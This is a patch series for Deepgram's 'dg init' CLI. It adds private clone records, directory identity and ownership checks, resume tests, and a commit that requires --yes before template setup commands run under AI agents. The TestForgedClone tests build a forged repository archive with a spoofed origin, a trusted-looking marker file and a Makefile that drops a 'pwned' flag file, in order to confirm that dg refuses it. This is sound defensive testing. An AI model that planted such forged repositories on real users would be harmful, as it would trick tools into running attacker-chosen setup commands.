+        # Only dg's own record (in its state directory) says a directory is a
+        # clone dg made; nothing inside the directory is trusted for that,
+        # and no git command runs in it until the record does.
+        record: clones.CloneRecord | None = None
+        if lifecycle.directory_in_use(dest):
+            record = clones.load(os.path.realpath(dest))
+            if record is None:
+                return self._dir_error(msg.E_INIT_DIR_IN_USE, detail, dest)
+            if record.template != detail.name:
+                return self._dir_error(
+                    msg.E_INIT_DIR_OTHER_TEMPLATE, detail, dest, record.template
+                )
+            # The same directory (not one made again at this path), owned by
+            # this user, before git runs in it; then git checks HEAD.
+            if (
+                record.url != github_url
+                or not lifecycle.same_directory(dest, record.dev, record.ino)
+                or not lifecycle.clone_matches(dest, record.commit)
+            ):
+                return self._dir_error(msg.E_INIT_DIR_IN_USE, detail, dest)
+        phases: list[str] = list(record.phases) if record else []
+        commit = record.commit if record else None
+        if record is None:
+            # ── Confirm ────────────────────────────────────────────────────────
+            self._print_template_summary(detail)
+            console.print(f"[dim]Destination:[/dim] {dest}")
+            console.print()
 
-        if not _agentic and not self.confirm("Clone this template?", default=True):
-            return InitResult(status="cancelled", message="Clone cancelled")
+            if not _agentic and not self.confirm("Clone this template?", default=True):
+                return InitResult(status="cancelled", message="Clone cancelled")
 
-        # ── Clone ──────────────────────────────────────────────────────────────
-        console.print()
-        with console.status("[blue]Cloning repository...[/blue]"):
-            try:
-                lifecycle.clone_template(github_url, dest)
-            except RuntimeError as e:
-                return InitResult(status="error", message=str(e))
-
-        console.print(f"[green]✓[/green] Cloned to [cyan]{dest}[/cyan]")
-        console.print(
-            "[dim]The cloned directory is a full git repository — "
-            "you can add your own remote and push.[/dim]"
-        )
+            # ── Clone ──────────────────────────────────────────────────────────
+            console.print()
+            with console.status("[blue]Cloning repository...[/blue]"):
+                try:
+                    lifecycle.clone_template(github_url, dest)
+                except RuntimeError as e:
+                    return InitResult(status="error", message=str(e))
+            phases = ["clone"]
+            commit = lifecycle.head_commit(dest)
+            self._save_progress(dest, detail.name, github_url, commit, phases)
+
+            console.print(f"[green]✓[/green] Cloned to [cyan]{dest}[/cyan]")
+            console.print(
+                "[dim]The cloned directory is a full git repository — "
+                "you can add your own remote and push.[/dim]"
+            )
+        else:
+            console.print(f"[dim]Resuming in[/dim] [cyan]{dest}[/cyan]")
 
         # ── Inject API key ─────────────────────────────────────────────────────
         try:
@@ -232,10 +278,10 @@ def handle(
             )
 
         # ── Setup (make check-prereqs && make init) ────────────────────────────
-        installed = False
+        installed = "setup" in phases
         has_makefile = (dest / "Makefile").exists()
 
-        if not no_install:
+        if not installed and not no_install:
             if _agentic or do_install:
                 run_setup = True
             elif has_makefile:
@@ -255,6 +301,9 @@ def handle(
                     installed = lifecycle.run_lifecycle_step(
                         detail.config.install, dest
                     )
+                if installed:
+                    phases.append("setup")
+                    self._save_progress(dest, detail.name, github_url, commit, phases)
 
         # ── Start step (optional) ──────────────────────────────────────────────
         started = False
@@ -291,6 +340,54 @@ def handle(
             started=started,
         )
 
+    # ── The rerun contract ────────────────────────────────────────────────────
+
+    def _save_progress(
+        self,
+        dest: Path,
+        template: str,
+        url: str,
+        commit: str | None,
+        phases: list[str],
+    ) -> None:
+        """Record the clone and what is done in dg's state, so a rerun
+        resumes. Without a commit there is nothing a rerun could check."""
+        identity = lifecycle.directory_identity(dest)
+        if commit is None or identity is None:
+            return
+        record = clones.CloneRecord(
+            os.path.realpath(dest), template, url, commit, phases, *identity
+        )
+        try:
+            clones.save(record)
+        except OSError as exc:
+            console.print(
+                f"[yellow]Could not record progress in {dest}:[/yellow] {exc}"
+            )
+
+    def _dir_error(
+        self,
+        message: str,
+        detail: TemplateDetail,
+        dest: Path,
+        other: str | None = None,
+    ) -> InitCodedError:
+        """A directory dg init can't clone into or resume in."""
+        from deepctl_core.transport import prog
+
+        program = prog()
+        error = message.format(
+            dest=core_msg.display_path(dest),
+            template=core_msg.display(detail.name),
+            other=core_msg.display(other or ""),
+        )
+        return _coded(
+            error,
+            msg.CODE_INVALID_ARGUMENT,
+            msg.H_INIT_DIR,
+            f"{program} init --help" if program else None,
+        )
+
     def output_result(self, result: Any, config: Config) -> None:
         """Only emit structured output when an explicit --output format is set."""
         from deepctl_core.output import get_output_format
diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py
index ef062a4d..fb806c53 100644
--- a/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py
@@ -5,6 +5,7 @@
 import os
 import re
 import shutil
+import stat
 import subprocess
 from typing import TYPE_CHECKING
 from urllib.parse import urlsplit
@@ -155,6 +156,15 @@ def is_template_repo(url: str) -> bool:
     return org in TEMPLATE_ORGS and valid_name(repo)
 
 
+def directory_in_use(target_dir: Path) -> bool:
+    """Whether ``target_dir`` exists as anything but an empty directory."""
+    if target_dir.is_symlink() or (target_dir.exists() and not target_dir.is_dir()):
+        return True
+    if not target_dir.exists():
+        return False
+    return any(target_dir.iterdir())
+
+
 def clone_template(github_url: str, target_dir: Path) -> None:
     """Clone a template repository, keeping the .git directory intact.
 
@@ -163,12 +173,13 @@ def clone_template(github_url: str, target_dir: Path) -> None:
 
     Args:
         github_url: Full GitHub URL to clone.
-        target_dir: Local directory to clone into (must not exist).
+        target_dir: Local directory to clone into (must not exist, or be
+            an empty directory).
 
     Raises:
-        RuntimeError: If the directory already exists or git clone fails.
+        RuntimeError: If the directory is in use or git clone fails.
     """
-    if target_dir.exists():
+    if directory_in_use(target_dir):
         raise RuntimeError(f"Directory already exists: {target_dir}")
 
     # "--" ends git's options: a server-supplied URL that starts with "-"
@@ -180,6 +191,94 @@ def clone_template(github_url: str, target_dir: Path) -> None:
         raise RuntimeError(f"git clone failed:\n{result.stderr.strip()}")
 
 
+# ── The clone dg init made ────────────────────────────────────────────────────
+
+_COMMIT = re.compile(r"[0-9a-f]{40}|[0-9a-f]{64}")
+
+
+def _git_out(target_dir: Path, *args: str) -> str | None:
+    """Output of a git command in ``target_dir``, or None if it failed."""
+    result = run_git(*args, repo=target_dir)
+    if result is None or result.returncode != 0:
+        return None
+    return result.stdout.strip() or None
+
+
+def head_commit(target_dir: Path) -> str | None:
+    """``HEAD`` of the repository dg just cloned into ``target_dir``."""
+    commit = _git_out(target_dir, "rev-parse", "--verify", "HEAD")
+    return commit if commit and _COMMIT.fullmatch(commit) else None
+
+
+_O_DIRECTORY = getattr(os, "O_DIRECTORY", 0)
+
+
+def same_directory(target_dir: Path, dev: int, ino: int) -> bool:
+    """Whether ``target_dir`` is still the directory dg cloned into.
+
+    Checked before any git command runs in it. The directory, opened
+    without following a symbolic link, must have the recorded device and
+    inode (a directory deleted and made again at the same path has another
+    inode), and it and its ``.git`` must be owned by this user, with
+    ``.git`` a real directory.
+
+    On Windows, where ``st_ino`` can be 0 or unstable and there are no
+    POSIX owners, only the path checks apply: no link, ``.git`` a real
+    directory.
+    """
+    if os.name == "nt":
+        try:
+            top = os.lstat(target_dir)
+            git = os.lstat(target_dir / ".git")
+        except OSError:
+            return False
+        return stat.S_ISDIR(top.st_mode) and stat.S_ISDIR(git.st_mode)
+    try:
+        fd = os.open(target_dir, os.O_RDONLY | _O_DIRECTORY | _NOFOLLOW)
+    except OSError:
+        return False
+    try:
+        st = os.fstat(fd)
+        git = os.stat(".git", dir_fd=fd, follow_symlinks=False)
+    except OSError:
+        return False
+    finally:
+        os.close(fd)
+    uid = os.geteuid()
+    return (
+        stat.S_ISDIR(st.st_mode)
+        and stat.S_ISDIR(git.st_mode)
+        and (st.st_dev, st.st_ino) == (dev, ino)
+        and st.st_uid == uid
+        and git.st_uid == uid
+    )
+
+
+def directory_identity(target_dir: Path) -> tuple[int, int] | None:
+    """Device and inode of ``target_dir`` (not following a link), or None."""
+    try:
+        st = os.lstat(target_dir)
+    except OSError:
+        return None
+    return (st.st_dev, st.st_ino) if stat.S_ISDIR(st.st_mode) else None
+
+
+def clone_matches(target_dir: Path, commit: str) -> bool:
+    """Whether ``target_dir`` is still at ``commit``, the clone dg recorded.
+
+    Only for a directory dg's own clone record names: git runs in it. Its
+    own ``.git`` directory (not a link, or a file pointing elsewhere) must
+    make it the top of a work tree, with ``HEAD`` at ``commit``.
+    """
+    git_dir = target_dir / ".git"
+    if git_dir.is_symlink() or not git_dir.is_dir():
+        return False
+    top = _git_out(target_dir, "rev-parse", "--show-toplevel")
+    if top is None or os.path.realpath(top) != os.path.realpath(target_dir):
+        return False
+    return head_commit(target_dir) == commit
+
+
 # ── .env injection ────────────────────────────────────────────────────────────
 
 
diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/messages.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/messages.py
index 6450451a..4928bbf7 100644
--- a/packages/deepctl-cmd-init/src/deepctl_cmd_init/messages.py
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/messages.py
@@ -1,5 +1,14 @@
 """Strings for ``dg init``'s errors."""
 
+CODE_INVALID_ARGUMENT = "invalid_argument"
+
+# Rerun contract: a directory dg init can't resume in.
+E_INIT_DIR_IN_USE = "Directory already exists: {dest}"
+E_INIT_DIR_OTHER_TEMPLATE = (
+    'Directory {dest} holds the template "{other}", not "{template}".'
+)
+H_INIT_DIR = "Choose another directory with --dir, or remove this one."
+
 # The template service sent a name that isn't plain.
 E_INIT_NAME_REFUSED = (
     'Not using template "{template}": the template service sent a name that '
diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/models.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/models.py
index d14d2c7b..aef5977d 100644
--- a/packages/deepctl-cmd-init/src/deepctl_cmd_init/models.py
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/models.py
@@ -5,6 +5,7 @@
 from typing import Any
 
 from deepctl_core import BaseResult
+from deepctl_core.models import CodedErrorResult
 from pydantic import BaseModel, Field
 
 
@@ -77,3 +78,21 @@ class InitResult(BaseResult):
     directory: str | None = None
     installed: bool = False
     started: bool = False
+
+
+class InitCodedError(CodedErrorResult):
+    """A 0.5.0 coded error from ``dg init``.
+
+    ``next_step`` is always present (null when no command fixes it);
+    ``details`` is left out when there are none.
+    """
+
+    next_step: str | None = None
+    schema_version: int = 1
+    details: dict[str, Any] | None = None
+
+    def model_dump(self, **kwargs: Any) -> dict[str, Any]:
+        data = super().model_dump(**kwargs)
+        if not data.get("details"):
+            data.pop("details", None)
+        return data
diff --git a/packages/deepctl-cmd-init/tests/unit/_init_harness.py b/packages/deepctl-cmd-init/tests/unit/_init_harness.py
new file mode 100644
index 00000000..2fc1e133
--- /dev/null
+++ b/packages/deepctl-cmd-init/tests/unit/_init_harness.py
@@ -0,0 +1,157 @@
+"""Shared harness for dg init's command tests: a fake clone (a real git
+repository when git is installed), recorded setup and start steps.
+
+The tests import it and define their own fixtures; a conftest.py in this
+directory would clash with other packages' tests/unit/conftest.py."""
+
+from __future__ import annotations
+
+import os
+import shutil
+import subprocess
+from typing import TYPE_CHECKING, Any
+from unittest.mock import Mock, patch
+
+import pytest
+from deepctl_cmd_init import clones, lifecycle
+from deepctl_cmd_init.command import InitCommand
+from deepctl_cmd_init.models import LifecycleStep, TemplateDetail, TomlConfig
+from deepctl_core import AuthManager, Config, DeepgramClient
+
+if TYPE_CHECKING:
+    from pathlib import Path
+
+HAVE_GIT = shutil.which("git") is not None
+needs_git = pytest.mark.skipif(not HAVE_GIT, reason="git not installed")
+
+
+def git(repo: Path, *args: str) -> str:
+    env = {k: v for k, v in os.environ.items() if not k.startswith("GIT_")}
+    env.update(
+        GIT_CONFIG_NOSYSTEM="1",
+        GIT_AUTHOR_NAME="t",
+        GIT_AUTHOR_EMAIL="t@example.com",
+        GIT_COMMITTER_NAME="t",
+        GIT_COMMITTER_EMAIL="t@example.com",
+    )
+    return subprocess.run(
+        ["git", "-C", str(repo), *args],
+        capture_output=True,
+        text=True,
+        env=env,
+        check=True,
+    ).stdout.strip()
+
+
+REPO_URL = "https://github.com/deepgram-starters/node-transcription"
+
+
+def template_detail(
+    *,
+    install: str | list[str] | None = None,
+    start: str | None = None,
+    url: str = REPO_URL,
+    name: str = "node-transcription",
+) -> TemplateDetail:
+    config = None
+    if install is not None or start is not None:
+        config = TomlConfig(
+            install=LifecycleStep(command=install) if install is not None else None,
+            start=LifecycleStep(command=start) if start is not None else None,
+        )
+    return TemplateDetail(
+        name=name,
+        title="Node Transcription",
+        description="Get started with Node",
+        language="javascript",
+        links={"github": url},
+        config=config,
+    )
+
+
+class Run:
+    """Drive InitCommand.handle with a fake clone and recorded steps."""
+
+    def __init__(self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
+        self.dest = tmp_path / "app"
+        # dg's state directory (the clone records) lives under HOME.
+        self.home = tmp_path / "home"
+        self.home.mkdir()
+        monkeypatch.setenv("HOME", str(self.home))
+        self.makefile = False
+        self.clones = 0
+        self.setup_runs: list[Any] = []
+        self.start_runs: list[Any] = []
+        self.person = False
+        self.agent = False
+        monkeypatch.setattr(lifecycle, "check_prereqs", lambda: [])
+        monkeypatch.setattr(lifecycle, "clone_template", self._clone)
+        monkeypatch.setattr(lifecycle, "run_make_init", self._make)
+        monkeypatch.setattr(lifecycle, "run_lifecycle_step", self._step)
+        monkeypatch.setattr("deepctl_core.transport.prog", lambda: "dg")
+        monkeypatch.setattr(
+            "deepctl_cmd_init.command._person_at_terminal",
+            lambda: self.person,
+            raising=False,
+        )
+        monkeypatch.setattr(
+            "deepctl_cmd_init.command._hard_signal", lambda: self.agent, raising=False
+        )
+        self.detail = template_detail()
+
+    def _clone(self, url: str, dest: Path) -> None:
+        """A clone: a real git repository with ``origin`` set when git is
+        installed (a resume checks both), else a plain directory."""
+        assert not lifecycle.directory_in_use(dest)
+        self.clones += 1
+        dest.mkdir(exist_ok=True)
+        (dest / "README.md").write_text("starter\n")
+        if self.makefile:
+            (dest / "Makefile").write_text("init:\n")
+        if HAVE_GIT:
+            git(dest, "init", "-q")
+            git(dest, "add", "-A")
+            git(dest, "commit", "-q", "-m", "init")
+            git(dest, "remote", "add", "origin", url)
+
+    def _make(self, dest: Path) -> bool:  # noqa: ARG002
+        self.setup_runs.append("make")
+        return True
+
+    def _step(self, step: LifecycleStep, dest: Path) -> bool:  # noqa: ARG002
+        assert self.detail.config is not None
+        if step is self.detail.config.start:
+            self.start_runs.append(step.command)
+        else:
+            self.setup_runs.append(step.command)
+        return True
+
+    def __call__(self, api_key: str | None = None, **flags: Any) -> Any:
+        kwargs = {
+            "template": self.detail.name,
+            "dir": str(self.dest),
+            "search": None,
+            "list": False,
+            "install": False,
+            "no_install": False,
+            "start": False,
+            "no_start": False,
+            "yes": False,
+            **flags,
+        }
+        auth = Mock(spec=AuthManager)
+        auth.get_api_key.return_value = api_key
+        with patch(
+            "deepctl_cmd_init.command.templates_api.get_template",
+            return_value=self.detail,
+        ):
+            return InitCommand().handle(
+                config=Mock(spec=Config),
+                auth_manager=auth,
+                client=Mock(spec=DeepgramClient),
+                **kwargs,
+            )
+
+    def record(self) -> Any:
+        """dg's record of the clone in ``dest``, or None."""
+        return clones.load(os.path.realpath(self.dest))
diff --git a/packages/deepctl-cmd-init/tests/unit/test_init.py b/packages/deepctl-cmd-init/tests/unit/test_init.py
index 45cebff3..baa3086b 100644
--- a/packages/deepctl-cmd-init/tests/unit/test_init.py
+++ b/packages/deepctl-cmd-init/tests/unit/test_init.py
@@ -538,6 +538,8 @@ def test_direct_clone(
     ):
         mock_api.get_template.return_value = sample_detail
         mock_lifecycle.check_prereqs.return_value = []
+        mock_lifecycle.directory_in_use.return_value = False
+        mock_lifecycle.head_commit.return_value = None
         mock_lifecycle.clone_template.return_value = None
         mock_lifecycle.run_lifecycle_step.return_value = True
 
@@ -580,6 +582,8 @@ def test_expired_credential_warning_is_visible(
     ):
         mock_api.get_template.return_value = sample_detail
         mock_lifecycle.check_prereqs.return_value = []
+        mock_lifecycle.directory_in_use.return_value = False
+        mock_lifecycle.head_commit.return_value = None
         mock_lifecycle.clone_template.return_value = None
         mock_auth_manager.get_api_key.side_effect = AuthenticationError(
             "Your Deepgram credential has expired. Run `dg login` again."
@@ -646,6 +650,8 @@ def test_api_key_injection(
     ):
         mock_api.get_template.return_value = sample_detail
         mock_lifecycle.check_prereqs.return_value = []
+        mock_lifecycle.directory_in_use.return_value = False
+        mock_lifecycle.head_commit.return_value = None
         mock_lifecycle.clone_template.return_value = None
         mock_auth_manager.get_api_key.return_value = "sk-my-key"
 
diff --git a/packages/deepctl-cmd-init/tests/unit/test_init_resume.py b/packages/deepctl-cmd-init/tests/unit/test_init_resume.py
new file mode 100644
index 00000000..b214a542
--- /dev/null
+++ b/packages/deepctl-cmd-init/tests/unit/test_init_resume.py
@@ -0,0 +1,406 @@
+"""dg init's rerun contract: a rerun into a clone dg made resumes there, by
+dg's own record of it; any other directory is refused untouched, and no git
+command runs in it."""
+
+from __future__ import annotations
+
+import importlib.util
+import json
+import os
+import shutil
+import stat
+import subprocess
+import sys
+import tarfile
+from pathlib import Path
+from typing import TYPE_CHECKING, Any
+
+import pytest
+from deepctl_cmd_init import clones, lifecycle
+from deepctl_cmd_init.models import InitResult
+
+# The shared harness, loaded by path under its own name: a relative import
+# depends on which package pytest's importlib mode names "tests.unit".
+_HARNESS = "deepctl_cmd_init_tests_harness"
+if _HARNESS not in sys.modules:
+    _spec = importlib.util.spec_from_file_location(
+        _HARNESS, Path(__file__).with_name("_init_harness.py")
+    )
+    assert _spec is not None and _spec.loader is not None
+    sys.modules[_HARNESS] = importlib.util.module_from_spec(_spec)
+    _spec.loader.exec_module(sys.modules[_HARNESS])
+Run = sys.modules[_HARNESS].Run
+git = sys.modules[_HARNESS].git
+template_detail = sys.modules[_HARNESS].template_detail
+
+needs_git = pytest.mark.skipif(shutil.which("git") is None, reason="git not installed")
+
+
+@pytest.fixture
+def run(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Run:
+    return Run(tmp_path, monkeypatch)
+
+
+@pytest.fixture
+def make_detail() -> Any:
+    """``make_detail(install=..., start=..., url=..., name=...)``."""
+    return template_detail
+
+
+@pytest.fixture
+def git_cmd() -> Any:
+    """``git_cmd(repo, *args)``: run git with a clean environment."""
+    return git
+
+
+KEY = "fa1ce0000000000000000000000000000000000d"
+FORGED_MAKEFILE = "check-prereqs:\n\t@true\ninit:\n\ttouch {flag}\n"
+
+
+def _assert_untouched(run: Any, env_before: str | None = None) -> None:
+    assert run.clones == 0
+    assert run.setup_runs == run.start_runs == []
+    env = run.dest / ".env"
+    if env_before is None:
+        assert not env.exists()
+    else:
+        assert env.read_text() == env_before
+
+
+@needs_git
+class TestResume:
+    def test_rerun_resumes_without_cloning_again(self, run: Any) -> None:
+        run.makefile = True
+        assert run(no_install=True).status == "success"
+        record = run.record()
+        assert record is not None and record.phases == ["clone"]
+        assert len(record.commit) == 40
+        assert record.url == run.detail.links["github"]
+        result = run(no_install=True)
+        assert isinstance(result, InitResult)
+        assert result.status == "success"
+        assert run.clones == 1
+
+    def test_finished_setup_is_not_run_again(self, run: Any) -> None:
+        run.makefile = True
+        run(install=True, no_start=True)
+        run(install=True, no_start=True)
+        assert run.setup_runs == ["make"]
+        assert run.record().phases == ["clone", "setup"]
+
+    def test_other_template_is_invalid_argument(
+        self, run: Any, make_detail: Any
+    ) -> None:
+        run(no_install=True)
+        run.detail = make_detail(
+            name="flask-transcription",
+            url="https://github.com/deepgram-starters/flask-transcription",
+        )
+        result = run(no_install=True)
+        assert result.code == "invalid_argument"
+        assert "flask-transcription" in result.error
+        assert result.next_step == "dg init --help"
+        assert run.clones == 1
+
+    def test_nothing_is_written_into_the_clone(self, run: Any, git_cmd: Any) -> None:
+        run(no_install=True)
+        assert git_cmd(run.dest, "status", "--porcelain") == ""
+
+    def test_clone_moved_on_is_not_resumed(self, run: Any, git_cmd: Any) -> None:
+        run(no_install=True)
+        git_cmd(run.dest, "commit", "-q", "--allow-empty", "-m", "later")
+        assert run(api_key=KEY, install=True).code == "invalid_argument"
+        assert run.setup_runs == []
+
+    def test_record_for_another_path_does_not_count(
+        self, run: Any, tmp_path: Path
+    ) -> None:
+        run(no_install=True)
+        moved = tmp_path / "moved"
+        run.dest.rename(moved)
+        run.dest = moved
+        assert run(api_key=KEY, install=True).code == "invalid_argument"
+        assert not (moved / ".env").exists()
+
+
+def _record_git(monkeypatch: pytest.MonkeyPatch) -> list[list[str]]:
+    """Every git command dg runs from here on (and still runs it)."""
+    calls: list[list[str]] = []
+    real_run = subprocess.run
+
+    def recording(argv: Any, *args: Any, **kwargs: Any) -> Any:
+        calls.append(list(argv))
+        return real_run(argv, *args, **kwargs)
+
+    monkeypatch.setattr(lifecycle.subprocess, "run", recording)
+    return calls
+
+
+@needs_git
+class TestRecordedDirectoryReplaced:
+    """The record names a directory, not just a path: one made again at the
+    path, one owned by someone else, or a link swapped in is refused before
+    any git command runs in it."""
+
+    def _clone(self, run: Any) -> None:
+        assert run(no_install=True).status == "success"
+        assert run.record() is not None
+
+    def _refused(self, run: Any, calls: list[list[str]], **flags: Any) -> None:
+        result = run(api_key=KEY, **flags)
+        assert result.code == "invalid_argument"
+        assert run.setup_runs == run.start_runs == []
+        assert not [c for c in calls if "-C" in c], calls
+
+    def test_made_again_at_the_same_path(
+        self, run: Any, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        self._clone(run)
+        copy = tmp_path / "copy"
+        shutil.copytree(run.dest, copy, symlinks=True)
+        shutil.rmtree(run.dest)
+        copy.rename(run.dest)  # same contents and HEAD, another inode
+        calls = _record_git(monkeypatch)
+        self._refused(run, calls, install=True)
+        assert not (run.dest / ".env").exists()
+
+    def test_owned_by_someone_else(
+        self, run: Any, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        self._clone(run)
+        uid = os.geteuid()
+        monkeypatch.setattr(lifecycle.os, "geteuid", lambda: uid + 1)
+        calls = _record_git(monkeypatch)
+        self._refused(run, calls, install=True)
+        assert not (run.dest / ".env").exists()
+
+    def test_link_swapped_in_after_the_record_check(
+        self, run: Any, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        self._clone(run)
+        real = tmp_path / "real"
+        real_load = clones.load
+
+        def load_then_swap(path: str) -> Any:
+            record = real_load(path)
+            run.dest.rename(real)
+            run.dest.symlink_to(real)
+            return record
+
+        monkeypatch.setattr(clones, "load", load_then_swap)
+        calls = _record_git(monkeypatch)
+        self._refused(run, calls, install=True, yes=True)
+        assert not (real / ".env").exists()
+
+
+class TestDirectoryNotFromInit:
+    def test_non_empty_directory_without_record(self, run: Any) -> None:
+        run.dest.mkdir()
+        (run.dest / "notes.txt").write_text("mine\n")
+        result = run(no_install=True)
+        assert result.code == "invalid_argument"
+        assert result.error.startswith("Directory already exists: ")
+        assert run.clones == 0
+
+    def test_empty_directory_is_cloned_into(self, run: Any) -> None:
+        run.dest.mkdir()
+        assert run(no_install=True).status == "success"
+        assert run.clones == 1
+
+    def test_a_file_in_the_way(self, run: Any) -> None:
+        run.dest.write_text("x")
+        assert run(no_install=True).code == "invalid_argument"
+
+
+def _forge(dest: Path, tmp_path: Path, git_cmd: Any, flag: Path) -> None:
+    """What an archive or a "fork this starter" zip can deliver: its own
+    .git with origin set to the Deepgram repository, HEAD committed, and a
+    0600 .deepctl-init.json naming HEAD (the marker earlier versions
+    trusted). Built elsewhere and unpacked from a tarball."""
+    work = tmp_path / "forge" / "node-transcription"
+    work.mkdir(parents=True)
+    (work / "Makefile").write_text(FORGED_MAKEFILE.format(flag=flag))
+    git_cmd(work, "init", "-q")
+    git_cmd(work, "add", "-A")
+    git_cmd(work, "commit", "-q", "-m", "x")
+    git_cmd(work, "remote", "add", "origin", template_detail().links["github"])
+    head = git_cmd(work, "rev-parse", "HEAD")
+    marker = work / ".deepctl-init.json"
+    marker.write_text(
+        json.dumps(
+            {"template": "node-transcription", "commit": head, "phases": ["clone"]}
+        )
+    )
+    marker.chmod(0o600)
+    archive = tmp_path / "forge.tar"
+    with tarfile.open(archive, "w") as tar:
+        tar.add(work, arcname=".")
+    dest.mkdir()
+    with tarfile.open(archive) as tar:
+        tar.extractall(dest, filter="tar")  # type: ignore[call-arg]
+
+
+@needs_git
+class TestForgedClone:
+    """A self-consistent forged clone gets nothing done under an AI agent:
+    no .env, no setup, no start, and no git command in it."""
+
+    @pytest.fixture(autouse=True)
+    def _agent(self, run: Any) -> None:
+        run.agent = True
+
+    @pytest.mark.parametrize(
+        "flags",
+        [{}, {"yes": True}, {"yes": True, "start": True}, {"install": True}],
+    )
+    def test_refused(
+        self,
+        run: Any,
+        git_cmd: Any,
+        tmp_path: Path,
+        monkeypatch: pytest.MonkeyPatch,
+        make_detail: Any,
+        flags: dict[str, Any],
+    ) -> None:
+        run.detail = make_detail(install="npm install", start="npm start")
+        flag = tmp_path / "pwned"
+        _forge(run.dest, tmp_path, git_cmd, flag)
+        calls: list[list[str]] = []
+        real_run = subprocess.run
+
+        def recording(argv: Any, *args: Any, **kwargs: Any) -> Any:
+            calls.append(list(argv))
+            return real_run(argv, *args, **kwargs)
+
+        monkeypatch.setattr(lifecycle.subprocess, "run", recording)
+        result = run(api_key=KEY, **flags)
+        assert result.code == "invalid_argument"
+        assert result.error.startswith("Directory already exists: ")
+        _assert_untouched(run)
+        assert not flag.exists()
+        assert not [c for c in calls if str(run.dest) in " ".join(c)], calls
+
+
+class TestRecord:
+    @pytest.fixture(autouse=True)
+    def _home(self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
+        monkeypatch.setenv("HOME", str(tmp_path / "home"))
+
+    def _record(self, path: str = "/x/app") -> Any:
+        return clones.CloneRecord(
+            path, "t", "https://github.com/deepgram/t", "a" * 40, ["clone"], 1, 2
+        )
+
+    def _file(self, path: str = "/x/app") -> Path:
+        name = clones._name(path) + ".json"
+        return Path(os.environ["HOME"]) / ".deepctl" / clones.DIR_NAME / name
+
+    def test_round_trip_private(self) -> None:
+        clones.save(self._record())
+        assert clones.load("/x/app") == self._record()
+        assert clones.load("/x/other") is None
+        if os.name == "posix":
+            assert stat.S_IMODE(self._file().stat().st_mode) == 0o600
+            assert stat.S_IMODE(self._file().parent.stat().st_mode) == 0o700
+
+    @pytest.mark.skipif(os.name != "posix", reason="POSIX modes")
+    def test_loose_mode_is_ignored(self) -> None:
+        clones.save(self._record())
+        self._file().chmod(0o644)
+        assert clones.load("/x/app") is None
+
+    @pytest.mark.skipif(os.name != "posix", reason="POSIX modes")
+    def test_loose_directory_is_ignored(self) -> None:
+        clones.save(self._record())
+        self._file().parent.chmod(0o755)
+        assert clones.load("/x/app") is None
+
+    def test_link_is_not_followed(self, tmp_path: Path) -> None:
+        clones.save(self._record())
+        real = tmp_path / "real.json"
+        self._file().rename(real)
+        self._file().symlink_to(real)
+        assert clones.load("/x/app") is None
+
+    def test_save_replaces_a_link_without_writing_through_it(
+        self, tmp_path: Path
+    ) -> None:
+        clones.save(self._record())
+        outside = tmp_path / "outside"
+        outside.write_text("keep\n")
+        self._file().unlink()
+        self._file().symlink_to(outside)
+        clones.save(self._record())
+        assert outside.read_text() == "keep\n"
+        assert not self._file().is_symlink()
+
+    @pytest.mark.skipif(not hasattr(os, "mkfifo"), reason="needs FIFOs")
+    def test_fifo_is_not_read(self) -> None:
+        clones.save(self._record())
+        self._file().unlink()
+        os.mkfifo(self._file())
+        assert clones.load("/x/app") is None
+
+    @pytest.mark.parametrize(
+        "data",
+        [
+            [],
+            {
+                "path": "/x/other",
+                "template": "t",
+                "url": "u",
+                "commit": "a" * 40,
+                "phases": [],
+                "dev": 1,
+                "ino": 2,
+            },
+            {
+                "path": "/x/app",
+                "template": 1,
+                "url": "u",
+                "commit": "a" * 40,
+                "phases": [],
+                "dev": 1,
+                "ino": 2,
+            },
+            {
+                "path": "/x/app",
+                "template": "t",
+                "url": "u",
+                "commit": "HEAD",
+                "phases": [],
+                "dev": 1,
+                "ino": 2,
+            },
+            {
+                "path": "/x/app",
+                "template": "t",
+                "url": "u",
+                "commit": "a" * 40,
+                "phases": [1],
+                "dev": 1,
+                "ino": 2,
+            },
+            {
+                "path": "/x/app",
+                "template": "t",
+                "url": "u",
+                "commit": "a" * 40,
+                "phases": [],
+                "ino": 2,
+            },
+            {
+                "path": "/x/app",
+                "template": "t",
+                "url": "u",
+                "commit": "a" * 40,
+                "phases": [],
+                "dev": True,
+                "ino": 2,
+            },
+        ],
+    )
+    def test_invalid_content_is_ignored(self, data: Any) -> None:
+        clones.save(self._record())
+        self._file().write_text(json.dumps(data))
+        assert clones.load("/x/app") is None

From a4eefcba346b6be5589fa9f476a7767a095b7dd5 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 17:11:30 -0500
Subject: [PATCH 44/88] feat(init): setup steps need --yes outside a terminal

An AI agent session, CI or a run without a terminal no longer runs a
template's setup commands unasked, and never starts the app on its own.

- New -y/--yes approves the setup commands. Without an AI agent, an
  explicit --install approves them too; in an agent session only --yes
  does. Otherwise init returns confirmation_required (exit 1) with
  details.flag --yes and a next_step that finishes without them:
  `{prog} init {template} --dir {dest} --no-install --no-start`.
- Commands the template service lists are confirmed before anything is
  cloned, and the refusal names exactly what --yes runs: the listed
  commands, or make check-prereqs and make init if the repository has
  a Makefile (whose targets take precedence, as before). A Makefile
  with no listed commands is confirmed after the clone; next_step then
  resumes in it.
- The start step runs only with --start; otherwise it is
  confirmation_required with next_step `... --no-start`.

A person at a terminal keeps the existing prompts.
---
 .../src/deepctl_cmd_init/command.py           | 224 +++++++++--
 .../src/deepctl_cmd_init/messages.py          |  67 +++-
